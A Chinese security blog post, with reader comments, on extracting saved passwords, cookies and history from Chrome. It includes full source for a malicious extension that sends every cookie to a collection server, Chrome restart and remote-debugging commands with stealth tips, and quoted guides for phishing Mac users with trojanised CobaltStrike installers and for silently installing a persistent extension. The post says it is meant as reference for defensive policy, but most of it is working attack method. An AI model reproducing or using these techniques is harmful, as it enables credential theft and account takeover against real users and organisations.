Chrome浏览器信息的收集


=Start=

缘由:

简单整理一下前段时间看到的和企业安全攻防相关的内容。这次主要介绍Chrome浏览器中存储的密码和cookie的常见获取方法,方便后面做防御策略的时候参考。

正文:

参考解答:
浏览器在信息收集过程中的重要性

浏览器可以认为是新时代的操作系统,承载了越来越多的功能,而且现在很多公司都在倡导平台化、线上化,将原来很多在线下完成的功能往线上系统迁移,比如在线文档等常用的办公OA系统……可以粗略认为浏览器是公司办公的主要入口,因此攻击者对于浏览器信息的重点收集也就可以理解了。

从浏览器中我们可以直接获取员工的历史访问/下载记录、常用书签等信息,从而了解到员工的操作习惯、工作种类、相关的内部常用系统;更进一步,还可以尝试获取浏览器中已保存的账号密码,用以登录SSO从而直接访问公司内部系统获取信息,或者尝试获取已登录网站的cookie来盗用该员工账号的身份进行内部系统的访问/操作。

Chrome浏览器因为它的功能性和安全性逐渐成为了现在的主流浏览器,自然而然的也就成了攻击者的主要关注对象,这里也以Chrome浏览器为例进行说明。

Windows和macOS在获取Chrome浏览器信息上的难易不同
  • 在 Windows 系统里获取Chrome浏览器中保存的账号密码和cookie比较容易,一般直接用类似 HackBrowserData 这样的工具就行,主要是因为——“在Windows上,解密需要用到的secret key值存储在Profile Path上级路径的Local State文件中,字段encrypted_key为AES用到的key值。整个解密过程无需任何密码,只需可以访问Chrome数据文件便可完成解密。”
  • 麻烦的是 macOS 系统,因为macOS系统的安全性限制,Google Chrome 的密钥存储在 Keychain 里面,如果你想获取明文密码,需要先提供当前电脑登录用户的密码来从Keychain中获取Chrome的密钥(会弹窗提醒,需要用户交互);如果钓鱼过程中出现类似弹框很可能会引起用户的警觉从而导致钓鱼失败,所以在macOS系统上一般会选择通过(不弹窗)获取cookie来间接达到接管用户账号的目的。
访问记录/书签/cookie/账号密码文件查看示例

Chrome的数据文件存储路径可以通过在搜索框中输入 chrome://version 看到,其中个人资料路径 (Profile Path)就是存储路径,一般是 ~/Library/Application Support/Google/Chrome/Default/ 这个。

此路径下有 History/Bookmarks/Cookies/Login data 这四个文件用来存储对应的信息(除了 Bookmarks 是文本文件之外,另外3个都是SQLite数据库文件),拷贝至其它目录后使用 sqlite3 命令打开数据库文件即可完成表结构和相关信息的查看。

# 如果不拷贝直接查看打开文件会提示数据库已被锁定
$ cd ~/Library/Application\ Support/Google/Chrome/Default
$ sqlite3 History
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> .tables
Error: database is locked
sqlite>


# 将文件拷贝至当前目录进行查看
$ cp ~/Library/Application\ Support/Google/Chrome/Default/{History,Bookmarks,Cookies,Login\ Data} .

# 历史访问记录是没有加密的,可以用sqlite命令进行查看 urls 表
$ sqlite3 History
sqlite> .tables
clusters                 downloads_slices         typed_url_sync_metadata
clusters_and_visits      downloads_url_chains     urls
content_annotations      keyword_search_terms     visit_source
context_annotations      meta                     visits
downloads                segment_usage
downloads_reroute_info   segments
sqlite> .schema urls
sqlite> select * from urls order by id desc limit 10;
-- 注意表字段 last_visit_time 不是常见的那种 unix timestamp 取值,需要简单处理一下之后才能拿到对人可读的日期时间信息
sqlite> SELECT datetime(last_visit_time/1000000-11644473600, "unixepoch") as last_visited, url, title, visit_count FROM urls order by id desc limit 10;


# 书签是文本文件,也可以直接查看
$ cat Bookmarks | head
$ cat Bookmarks | grep -A2 '"name"'


# cookie信息的key是明文,但是对应的value是加密存放在 cookies 表中的 encrypted_value 字段中,需要密码按规范进行解密才能拿到明文内容
$ sqlite3 Cookies
sqlite> .tables
cookies  meta
sqlite> .schema meta
CREATE TABLE meta(key LONGVARCHAR NOT NULL UNIQUE PRIMARY KEY, value LONGVARCHAR);
sqlite> .schema cookies
CREATE TABLE cookies(creation_utc INTEGER NOT NULL,host_key TEXT NOT NULL,top_frame_site_key TEXT NOT NULL,name TEXT NOT NULL,value TEXT NOT NULL,encrypted_value BLOB NOT NULL,path TEXT NOT NULL,expires_utc INTEGER NOT NULL,is_secure INTEGER NOT NULL,is_httponly INTEGER NOT NULL,last_access_utc INTEGER NOT NULL,has_expires INTEGER NOT NULL,is_persistent INTEGER NOT NULL,priority INTEGER NOT NULL,samesite INTEGER NOT NULL,source_scheme INTEGER NOT NULL,source_port INTEGER NOT NULL,is_same_party INTEGER NOT NULL,last_update_utc INTEGER NOT NULL);
CREATE UNIQUE INDEX cookies_unique_index ON cookies(host_key, top_frame_site_key, name, path);
sqlite>
sqlite> select count(1) as cnt from cookies;
sqlite> select * from cookies limit 5;


# 账号密码信息中的密码是加密存放在 logins 表中的 password_value 字段中,需要密码按规范进行解密才能拿到明文内容
$ sqlite3 Login\ Data
sqlite> .tables
field_info              meta                    sync_entities_metadata
insecure_credentials    password_notes          sync_model_metadata
logins                  stats
sqlite> .schema logins
CREATE TABLE IF NOT EXISTS "logins" (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, times_used INTEGER, form_data BLOB, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, possible_username_pairs BLOB, id INTEGER PRIMARY KEY AUTOINCREMENT, date_last_used INTEGER NOT NULL DEFAULT 0, moving_blocked_for BLOB, date_password_modified INTEGER NOT NULL DEFAULT 0, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm));
CREATE INDEX logins_signon ON logins (signon_realm);
sqlite> select count(1) as cnt from logins;
sqlite> select * from logins limit 5;


# 具体的解密逻辑可以参考 HackBrowserData 中的代码,理论上现在 win/mac 的主要区别就在于获取获取解密密钥方法的不同——win系统上解密密钥直接存在本地文件中,通过调取相关系统API即可自动完成解密;mac系统上解密密钥存在Keychain中,需要用户主动输入正确的电脑密码之后才能拿到解密密钥,再来完成后面的解密步骤,过程中需要用户交互。
macOS系统上静默获取浏览器cookie的思路验证

经过实际测试发现下面2种方式都可以实现cookie的获取,具体选择哪种方式可以按需选择(不过就我个人来看,加载插件这个相对来说简易快速一点):

  • 如若Chrome已启动,需先停用正在运行的Chrome,然后通过启动时加载恶意Chrome插件(load-extension)来获取cookie
  • 如若Chrome已启动,需先停用正在运行的Chrome,然后利用启动时开启Chrome的远程调试功能(remote-debugging-port),通过调试接口来获取所有的cookie
# 停用正在运行的Chrome
killall "Google Chrome"

# 说明:不论是思路1还是思路2在不使用 --user-data-dir 选项的情况下都可以成功,测试的Chrome版本是当前的最新版本 105.0.5195.125

# 思路1:加载插件的方式
# 在启动之后当前浏览器中的所有cookie立即一次性的就发送到了远端
# 出于隐蔽起见,可以考虑服务端接收到了数据之后立即将多的命令行参数去掉
# 然后用无参数的命令进行启动,或是加上 restore-last-session 参数也行
terminal1> python py_flask_server.py

terminal2> /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=./chrome_get_cookie


# 思路2:使用远程调试的方式
terminal1> /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9099

terminal2> curl -s 127.0.0.1:9099/json
terminal2> curl -s 127.0.0.1:9099/json | grep -A2 '"url"'
terminal2> websocat ws://127.0.0.1:9099/devtools/page/xxxxxxx
ws> {"id": 1, "method": "Network.getCookie"}
ws> {"id": 1, "method": "Network.getAllCookies"}


# Chrome浏览器命令行相关参数
说明:Chrome的绝大多数命令行参数只有在所有的Chrome进程都停止后,再启动时指定才会生效。
(Most of the command-line flags are only effective when all existing instances of Chrome that corresponds to the chrome profile have been terminated.)

--restore-last-session 浏览器崩溃后,使用此选项恢复浏览器最近浏览的选项卡(这个选项对于killall方式杀掉的Chrome还是很有用的,否则容易引起注意)

--load-extension 指定要加载的Chrome插件文件夹路径

--remote-debugging-port=9099 指定远程调试的端口

--user-data-dir 指定要加载的用户浏览器数据文件夹(实测发现不指定的情况下是常规的那种,指定了反而是新的空白页面)


# chrome_get_cookie插件的目录结构示例
chrome_get_cookie
├── getcookie.js #后台脚本
├── manifest.json #清单文件
└── popup.html #popup页面

## chrome_get_cookie -> manifest.json
## 用于指定后台脚本的名称,并做权限说明
{
  "name": "getCookie",
  "manifest_version": 2,
  "version": "1.0",
  "description": "getCookie 扩展程序",
  "browser_action": {
    "default_popup": "popup.html"
  },
  "background": {
    "scripts": ["getcookie.js"],
    "persistent": false
  },
  "permissions": [
    "https://*/*",
    "http://*/*",
    "cookies"
  ]
}

## chrome_get_cookie -> getcookie.js
## 用于取cookie的相关字段并将整理后的内容通过HTTP POST到远端服务器
chrome.cookies.getAll({}, function (cks){
    var result = Array();
    cks.forEach(function(ck){
        var m_ck = {};
        m_ck["domain"] = ck.domain
        m_ck["name"] = ck.name;
        m_ck["value"] = ck.value;
        m_ck["hostOnly"] = ck.hostOnly;
        m_ck["path"] = ck.path;
        result.push(m_ck);
    });
    (function(data){
        var url = 'http://127.0.0.1:9999/';
        fetch(url, {
                method: 'POST',
                body: JSON.stringify(data),
                headers: new Headers({
                    'Content-Type': 'application/json'
                })
        });
    }(result));
});
参考链接:

HackBrowserdata,绕过验证获取浏览器密码和历史记录的工具
https://www.isharepc.com/28240.html

HackBrowserData 一款可全平台运行的浏览器数据导出解密工具。
https://github.com/moonD4rk/HackBrowserData

BrowserGhost 一个抓取浏览器密码的工具 #Windows
https://github.com/QAX-A-Team/BrowserGhost

mac下的浏览器cookie盗取
https://mp.weixin.qq.com/s/2vPua1Tqvi4ffUEoP7OwUQ

mac浏览器密码获取难?教你两种方法,轻松搞定
https://zhuanlan.zhihu.com/p/499379236

MacOS下无密码dump chrome cookie
https://saucer-man.com/information_security/787.html

Command-line client for WebSockets
https://github.com/vi/websocat

chrome_get_cookie: 利用chrome扩展 dump 浏览器cookie
https://github.com/saucer-man/chrome_get_cookie/blob/master/getcookie.js

chrome.cookies
https://developer.chrome.com/docs/extensions/reference/cookies/

chrome-extensions-samples/ cookie-clearer/
https://github.com/GoogleChrome/chrome-extensions-samples/tree/main/api/cookies/cookie-clearer

渗透技巧——离线导出Chrome浏览器中保存的密码
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

渗透技巧——导出Chrome浏览器中保存的密码
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

奇安信攻防社区-抓取Chrome所有版本密码
https://forum.butian.net/share/591

获取当前系统所有用户的谷歌浏览器密码
https://blog.csdn.net/weixin_44216796/article/details/113761631

Python获取Chrome浏览器已保存的所有账号密码
https://www.lijiejie.com/python-get-chrome-all-saved-passwords/

浏览器导出密码
https://yinhaoqin.com/%E5%9F%9F%E5%AE%89%E5%85%A8/%E6%94%BB%E5%87%BB%E6%88%98%E6%9C%AF/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%AF%BC%E5%87%BA%E5%AF%86%E7%A0%81/

How to Convert Chrome Browser History Sqlite Timestamps with Osquery
https://stackoverflow.com/questions/61197346/how-to-convert-chrome-browser-history-sqlite-timestamps-with-osquery

–load-extension parameter for chrome doesn’t work
https://stackoverflow.com/questions/25064523/load-extension-parameter-for-chrome-doesnt-work

Chrome 扩展编写入门
https://developer.chrome.com/docs/extensions/mv3/getstarted/

10分钟入门chrome(谷歌)浏览器插件开发
https://juejin.cn/post/6904797929056239630

从零深入Chrome插件开发
https://xieyufei.com/2021/11/09/Chrome-Plugin.html

=END=


《 “Chrome浏览器信息的收集” 》 有 12 条评论

  1. Macos钓鱼上线CS踩坑流程
    https://mp.weixin.qq.com/s/ZptprvkNXRP0PNpmoXpbFg
    `
    当碰到较⼤的个别企业办公都是⽤的mac笔记本,那么如何钓⻥MAC OS系统上线?
    这⾥以mac上线cobaltstrike为例:
    默认⼤家都搭建好了cobaltstrike服务器。

    ⼀、CrossC2插件上线Mac OS
    ⼆、打包APP
    三、制作能打开正常软件的⽊⻢app
    四、制作dmg镜像
    五、构造场景
    六、制作pkg安装包
    七、MAC APP隐藏后缀

    ⼋、注意事项
    1、使⽤CrossC2的时候⼀定要去服务器上拷⻉⾃⼰的beacon_keys⽂件,不然不能上线。
    2、⼀定要给genCrossC2.MacOS⽂件运⾏权限。
    3、监听⼀定要起HTTPS,其他⽆法使⽤
    4、下载的最新插件必须要使⽤cobalstrike4.1之上
    5、pkg不建议使⽤,dmg镜像运⾏后也是管理员权限。
    6、如果⽤cobaltstrike,服务器⼀定要记得做域前置或云函数隐藏好!
    `

  2. 搜狗浏览器账号密码解密
    https://mp.weixin.qq.com/s/EX-Nh7-fTf7kS3Yfkm1e8A
    `
    1. 背景介绍

    在最近的攻防演练中,遇到了一个用搜狗的浏览器,但无法使用浏览器解密神器HackBrowserData对其进行解密。它支持的众多浏览器中并不支持搜狗浏览器,所以需要另辟他法。

    2. 解决方法

    在上面那个项目中的issues发现有师傅提出了一系列解决方案:https://github.com/moonD4rk/HackBrowserData/issues/81
    其中有两个方法:

    方法一:修改 HackBrowserData 的代码使其支持对搜狗浏览器密码文件的解密
    Aquilao师傅提供的魔改方法,能够对搜狗浏览器进行解密。在这里我因为时间关系,并没有对此方法进行学习,使用的是第二种方法。

    方法二:用搜狗浏览器自身的解密接口来解密,这是因为它这个功能并未验证文件的机器环境等信息,密码文件只是单纯的密码文件
    虽然暂时没找到解密的办法,但可以有其他办法可以获取。搜狗浏览器的密码保存在 %Appdata%\SogouExplorer\FormData3.dat 文件中
    把目标的文件FormData3.dat拿到本地然后替换掉本机文件之后就能在本机搜狗浏览器的账号助手里找到保存的账号密码了。

    也就是说将用户目录下的%Appdata%\SogouExplorer\FormData3.dat文件拷贝出来,然后替换本地的搜狗浏览器的FormData3.dat文件,再查看账号密码即可。

    4. 总结

    在这里我只试了第二种方法,第一种方法进行编译之后,理论上也是可以获取的,我使用的浏览器是搜狗最新版。
    当然, 还有其他的浏览器账密获取工具,后期有时间学习下。
    ==

    对于Chrome浏览器是不是也可以用这种偷梁换柱的方法来操作?待会可以试试。
    `
    https://blog.csdn.net/zhan107876/article/details/122403703

  3. 「实战」攻防中钓鱼上线MAC终端
    https://mp.weixin.qq.com/s/e_h_RLNQ4y1l4hYEENG31g
    https://xz.aliyun.com/t/10528
    `
    0x01 前言

    目前在一些攻防项目中,由于外网越来越不好打,钓鱼这种攻击手段,一旦成功就显得省时省力。最近攻防遇到了一家互联网大厂,所有员工使用的都是mac主机,这也是第一次钓mac。研究过程中发现网上这方面分享比较少,这里记录分享一下,如有错误欢迎各位师傅评论指正。

    0x02 CrossC2部署
    这里注意,经过测试cs服务端部署必须是linux,win不行,会出现执行不上线的情况。

    0x03 封装app
    此时实现了上线马的制作,可以命令或者执行可执行文件上线。但是对于钓鱼来说,可信度是远远不够的,为了制作一个完整的mac应用程序,我们先将上线命令封装成app

    0x04 dmg马
    只有一个app是不够的,正常的mac安装程序是dmg或者pkg,首先制作dmg。

    0x05 pkg马
    如果用dmg去钓鱼,最后上线只是当前登录用户去点击,也就是普通用户权限,加上mac提权基本知识盲区,不容易做权限维持,这里可以制作pkg,设置管理员权限安装,就能上线root权限。
    安装结束之后,会执行两次脚本,也就会上线两次root,非常的nice。当然如果为了不被发现,也可以在制作pkg时放一个正常的app进去,只是安装时执行上线命令。

    0x06 邮件发送
    钓鱼邮件发送,如果为了方便可以参考横戈团队的工具(henggeFish)
    但是工具中是写死163,只能用163账号发,可以自己改脚本,或者利用swaks批量发。
    如果用swaks批量脚本发送,有可能会遇到spf校验,ip封禁,进垃圾箱等问题,不同的邮服策略也不同,有机会再写一篇钓鱼邮件批量发送。
    `
    http://www.str1am.top/wordpress/?p=533
    https://www.sqlsec.com/2020/07/cobaltstrike.html
    https://www.jianshu.com/p/58be258a4465
    https://blog.csdn.net/HeroGuo_JP/article/details/78049964

  4. 浏览器扩展:比你想得更危险
    https://mp.weixin.qq.com/s/ZQULdXeyFNC9DlcxjHOYyA
    `
    我们每个人都可能或多或少地安装过各种浏览器扩展程序:广告拦截器、在线翻译器、拼写检查器、反指纹追踪程序或其他东西。然而,很少有人停下来思考:它安全吗?不幸的是,这些看似无害的迷你应用程序可能比你想象得更危险。下面我们将以最常见的恶意扩展系列为例,揭秘浏览器扩展程序的隐藏威胁。

    01 浏览器扩展及其作用

    浏览器扩展是为您的浏览器添加功能的插件。例如,他们可以屏蔽网页上的广告、做标注、检查拼写等等。需要注意的是,要使扩展程序发挥作用,它需要获得读取和更改您在浏览器中查看的网页内容的权限。如果没有这种访问权限,它可能完全发挥不了作用。

    例如,在官方Chrome Web商店中,流行的谷歌翻译扩展程序的隐私实践部分声明,它会收集有关位置、用户活动和网站内容的信息。但是,它需要访问所有网站的所有数据才能工作,这一事实在用户安装扩展程序之前并不会透露给用户。

    大多数用户甚至可能不会阅读此消息,并且会自动单击“添加扩展程序”以立即开始使用该插件。所有这些都为网络犯罪分子以看似无害的扩展程序为幌子分发广告软件甚至恶意软件创造了机会。

    至于广告软件(adware)扩展,更改显示内容的权限允许它们在您访问的网站上显示广告。在这种情况下,扩展程序的创建者可以通过点击跟踪到的广告商网站的附属链接来牟利。为了获得更有针对性的广告内容,他们还可能会分析您的搜索查询和其他数据。

    当涉及到恶意扩展时,情况会更糟。访问所有网站内容的权限将允许攻击者窃取卡详细信息cookie和其他敏感信息。让我们看一些例子。

    02 浏览器扩展威胁示例

    * office文件的流氓工具
    * 难以摆脱的广告软件插件
    * AddScript分发不需要的cookie
    * FB Stealer—cookie窃贼

    03 防护建议

    浏览器扩展是大有可为的工具,不能因噎废食,但重要的是要谨慎对待它们,并意识到它们并不像人们想象的那么无害。因此,我们建议采取以下安全措施:
    * 仅从官方来源下载扩展。请记住,这并非无懈可击的安全保证——恶意扩展确实会时不时地渗透到官方商店。但此类平台通常会更加关注用户安全,并最终设法删除恶意扩展;
    * 不要安装太多扩展程序并定期检查列表。如果发现了不是自己安装的东西,一定要提高警惕,及时处理;
    * 使用可靠的安全解决方案。
    `
    https://usa.kaspersky.com/blog/dangers-of-browser-extensions/27020/

  5. Mac Malware Steals Cryptocurrency Exchanges’ Cookies
    https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
    `
    Palo Alto Networks’ Unit 42 recently discovered malware that we believe has been developed from OSX.DarthMiner, a malware known to target the Mac platform.

    This malware is capable of stealing browser cookies associated with mainstream cryptocurrency exchanges and wallet service websites visited by the victims.

    It also steals saved passwords in Chrome.

    Finally, it seeks to steal iPhone text messages from iTunes backups on the tethered Mac.

    A rundown of CookieMiner’s behaviors (discussed in more detail in the following sections):
    * Steals Google Chrome and Apple Safari browser cookies from the victim’s machine
    * Steals saved usernames and passwords in Chrome
    * Steals saved credit card credentials in Chrome
    * Steals iPhone’s text messages if backed up to Mac
    * Steals cryptocurrency wallet data and keys
    * Keeps full control of the victim using the EmPyre backdoor
    * Mines cryptocurrency on the victim’s machine
    `

  6. Clipboard Data
    https://attack.mitre.org/techniques/T1115/
    `
    Adversaries may collect data stored in the clipboard from users copying information within or between applications.
    攻击者可能从在应用程序内部或应用程序之间复制信息的用户那里收集存储在剪贴板中的数据。

    In Windows, Applications can access clipboard data by using the Windows API.[1] OSX provides a native command, pbpaste, to grab clipboard contents.[2]
    在Windows中,应用程序可以使用Windows API访问剪贴板数据。而OSX提供了一个本地命令 pbpaste 来获取剪贴板内容。
    `
    Operating with EmPyre
    https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363

    EmPyre – A post-exploitation OS X/Linux agent written in Python 2.7
    https://github.com/EmpireProject/EmPyre

    关于剪贴板
    https://learn.microsoft.com/zh-cn/windows/win32/dataxchg/about-the-clipboard?redirectedfrom=MSDN
    `
    剪贴板是一组函数和消息,使应用程序能够传输数据。 由于所有应用程序都可以访问剪贴板,因此可以在应用程序或应用程序中轻松传输数据。

    剪贴板是用户驱动的。 窗口应仅以响应用户的命令的方式将数据传输到剪贴板或从剪贴板传输数据。 窗口不得使用剪贴板传输数据,而无需用户知道。

    剪贴板上的内存对象可以采用任何数据格式,称为剪贴板格式。 每个格式都由无符号整数值标识。 对于标准 (预定义) 剪贴板格式,此值是在 Winuser.h 中定义的常量;对于已注册的剪贴板格式,它是 RegisterClipboardFormat 函数的返回值。

    除了注册剪贴板格式外,单个窗口执行大多数剪贴板操作。 通常,窗口过程会将信息传输到剪贴板或从剪贴板传输信息,以响应 WM_COMMAND 消息。
    `

  7. 如何把第三方的网页cookie,手动导入到浏览器中
    https://zhuanlan.zhihu.com/p/409895026

    谷歌浏览器不能手动修改cookies,cookie报红标红
    https://blog.csdn.net/ke_sin/article/details/122885157

    在 Chrome 浏览器里添加或者修改 cookie
    https://www.cnblogs.com/mmykdbc/p/12331451.html

    EditThisCookie
    https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=zh
    `
    method 1:
    打开【开发者工具】,点击【Application】,左侧有一个【Storage-Cookies】点开然后右边直接双击编辑即可。

    method 2:
    安装了插件之后,网页内鼠标右键【EditThisCookie】,可以【删除全部/重置/添加/导入/导出/……】。有一点需要注意的是导入的格式,可以先导出一个看看样例,然后照着格式改就行。

    method 3:
    打开【开发者工具】,点击【Console】,然后通过对 document.cookie 进行操作即可完成对cookie的编辑。但好像不是每次都生效?
    `

  8. 利用远程调试获取Chromium内核浏览器Cookie
    https://www.secpulse.com/archives/202712.html
    `
    本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie

    chrome.exe –remote-debugging-port=9222 –user-data-dir=remote-profile

    chrome.exe https://www.baidu.com –remote-debugging-port=9222 –remote-allow-origins=* -headless
    chrome.exe https://www.baidu.com –remote-debugging-port=9222 –remote-allow-origins=*

    Storage.getCookies

    # 总结
    本文介绍了不依靠DPAPI的方式获取Chromium内核浏览器Cookie,可以尽可能的减少被拦截的情况下去获取浏览器Cookie。
    `
    https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.html
    https://chromedevtools.github.io/devtools-protocol/tot/Storage/

    https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py

  9. Chrome<116 任意文件读取 几乎通杀!!!
    https://mp.weixin.qq.com/s/bjORR52x4CX0BpXPoAtg_A
    https://mp.weixin.qq.com/s/ayh7mKOWl_i0mX1Sob74xw
    `
    前言
    今年6月份有开发者向 chromium 官方提交了一个任意文件读取漏洞,如果 chrome 使用 -no-sandbox 启动,则可以读取本机任意文件,如果是默认沙箱环境,攻击者可以在 ios (safari/chrome)、mac (safari/chrome)、android (chrome) 和 samsung tv(默认浏览器)上读取 /etc/hosts、/etc/passwd 文件

    测试
    根据官方公布的 POC,是通过 chromium 中使用的默认 xsl 库 Libxslt 中的 document() 方法读取任意文件

    简短描述:Libxslt 是在基于 WebKit 的浏览器(如 chrome,safari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限。

    开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

    POC
    SVG 图片,托管在服务器上的某个位置:
    主文件(test.svg):
    加载 http://host/xsl2.php 的内容(PHP 文件仅用于响应最后一行的 "Cross-Origin-Resource-Sharing: *" HTTP 标头):

    修复建议
    改进沙盒,拒绝对指定文件的读取访问。禁止外部实体使用 file://path 和 \\path URLs
    `
    https://bugs.chromium.org/p/chromium/issues/detail?id=1458911
    https://avd.aliyun.com/detail?id=AVD-2023-4357
    https://chromereleases.googleblog.com/2023/08/stable-channel-update-for-deskt
    https://crbug.com/1458911
    https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-4357
    https://www.debian.org/security/2023/dsa-5479

  10. 如何获取Chrome浏览器安装的扩展列表?
    how to get chrome extension list on macos
    `
    find ~/Library/Application\ Support/Google/Chrome/Default/Extensions -type f -name “manifest.json” -print0 | xargs -I {} -0 grep ‘”name”:’ “{}” | uniq

    # 其实都在相应目录下的 manifest.json 文件内,里面还会有更多的详细信息
    `

    Get a list of Google Chrome extensions on a Mac (and more on what’s in the manifest.json)
    https://krypted.com/mac-security/get-a-list-of-google-chrome-extensions-on-a-mac-and-more-on-whats-in-the-manifest-json/

  11. Silently Install Chrome Extension For Persistence
    静默安装浏览器扩展作为持久化后门
    https://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html
    `
    tl;dr 简要说明
    I have identified a way to silently install a Chrome extension avoiding the “common” IOC’s attackers use today. 我找到了一种方法,可以悄悄地安装 Chrome 浏览器扩展,避免使用目前攻击者 “常用 “的 IOC。
    * no command line parameters 无命令行参数
    * persistent 持久
    * can be installed while in use but it wont re-load until chrome restarts so it is up to you if you want to kill chrome 可以在使用中安装,但在重新启动 Chrome 浏览器之前不会重新加载,因此是否要杀死 Chrome 浏览器取决于您的意愿
    * no registry edits 无注册表编辑

    Introduction 导言
    Since “browsers are the new lsass”, over the last few weeks I have been interested in how Chrome Extensions work and how an attacker or Red Teamers like myself could leverage these for persistence/cookie stealing/etc. Extensions like cursed chrome can be invaluable for post exploitation. However, the most difficult part is installing these extensions without direct GUI interaction. I came across a couple articles such as attackers using powershell to use the –load-extension parameter at the command line or using remote debbuging. However, these seemed somewhat easy to “detect” because of the command line parameters and the PPID’s. Additionally, these are not persistent across sessions. I could hear my ex-coworker in the back of my mind saying “there’s gotta be a better way!”
    既然 “浏览器是新的 lsass”,在过去几周里,我一直对 Chrome 浏览器扩展的工作原理以及攻击者或像我这样的红队人员如何利用这些扩展进行持久性攻击/窃取 Cookie 等很感兴趣。像”诅咒 Chrome “这样的扩展对于后期利用非常有价值。然而,最困难的部分是在没有直接图形用户界面交互的情况下安装这些扩展。我看到了一些文章,比如攻击者使用 powershell 在命令行中使用-load-extension参数或使用远程调试。不过,由于使用了命令行参数和 PPID,这些似乎很容易被 “发现”。此外,这些参数在不同会话中并不持久。我听到我的前同事在我脑海中说:”一定有更好的办法!”

    So I began to dig into Chrome–I had all my debuggers ready in my FLARE VM. I was ready to tackle all the AES and DPAPI Google would throw at me! After a few hours, I realized all I would need was some parameters for an HMAC algorithm and JSON edits in 1 file. I have not seen anyone write about this other than a research paper I came across while writing the PoC. I certainly did not see any “red team” blogs weaponizing it or anything like that so I hope this is somewhat new to most. I cannot imagine someone did not weaponize this already so I apologize if I burn a TTP.
    于是,我开始研究 Chrome 浏览器–我在 FLARE 虚拟机中准备好了所有调试器。我已经准备好应对 Google 向我抛出的所有 AES 和 DPAPI!几个小时后,我意识到我需要的只是 HMAC 算法的一些参数和一个文件中的 JSON 编辑。除了在编写 PoC 时看到的一篇研究论文外,我还没有看到任何人写过这方面的文章。当然,我也没有看到任何 “红队 “博客将其武器化或类似的东西,所以我希望这对大多数人来说都是新鲜事。我无法想象是否有人已经将其武器化,因此如果我烧毁了一个 TTP,我深表歉意。

    Methodology/Walkthrough 方法/演练
    My initial methodology was to inspect DLL’s related to Chrome to see if there was any obvious exports related to extensions. Additionally I wanted to debug Chrome to see what exactly happens when loading an extension (yes I know Chromium is open source but this is easier for me than reading gigantic code bases). After a bit of troubleshooting I thought about it and realized the EASIEST and LAZIEST way to identify what changes when Chrome loads an extension was just simple ProcMon. So I loaded up ProcMon and fired off Chrome and continued adding/removing extensions to see what files changed.
    我最初的方法是检查与 Chrome 浏览器相关的 DLL,看看是否有任何与扩展相关的明显导出。此外,我还想调试 Chrome 浏览器,看看加载扩展时到底会发生什么(是的,我知道 Chromium 是开源的,但这对我来说比阅读庞大的代码库更容易)。经过一番排查后,我意识到要确定 Chrome 浏览器加载扩展时发生了哪些变化,最简便易行的方法就是简单的 ProcMon。于是,我加载了 ProcMon 并启动了 Chrome 浏览器,继续添加/删除扩展,查看有哪些文件发生了变化。

    I identified one file continusouly was getting touched – “Secure Preferences” in %localappdata%\Google\Chrome\User Data\Default. The easiest way to check if this was really the “key” was to load an extension, copy the file off, unload it and close Chrome. I then copied the file back and replaced the old one. Sure enough when I loaded Chrome there was the extension! The next step was to identify what was being added to the file and what changed and it was only three main things.
    我发现有一个文件不断被触及–%localappdata%\Google\Chrome\User Data\Default 中的 “Secure Preferences”。检查这是否真的是 “密钥 “的最简单方法是加载扩展,复制文件,卸载并关闭 Chrome 浏览器。然后我把文件复制回来,替换掉旧文件。果然,当我加载 Chrome 浏览器时,扩展文件出现了!下一步是确定文件中添加的内容和发生的变化,主要有三点。

    The first change was the extensionId being added to the Extensions:Settings JSON blob. This JSON blob contains information about the extension such as API permissions, where its loaded from, version, etc. This is an easy addition to any Secure Preferences file.
    第一项更改是将 extensionId 添加到 Extensions:Settings JSON blob 中。该 JSON blob 包含有关扩展的信息,如 API 权限、加载位置、版本等。这很容易添加到任何安全首选项文件中。

    The second change was under the Protection:Macs:Extensions:Settings JSON blob. This appeared to be a SHA256 hash of some sort. This is where I found the aformentioned research paper and its a problem they already solved. Chrome (I assume all Chromium browsers) takes an HMAC hash of the JSON values added for the extension with the user SID and a hard coded seed (yes you read that correctly)
    第二个更改位于 “Protection:Macs:Extensions:Settings “JSON blob 下。这似乎是某种 SHA256 哈希值。我在这里找到了上述研究论文,他们已经解决了这个问题。Chrome 浏览器(我认为所有 Chromium 浏览器)会对为扩展添加的 JSON 值与用户 SID 和硬编码种子(是的,你没看错)进行 HMAC 哈希运算。

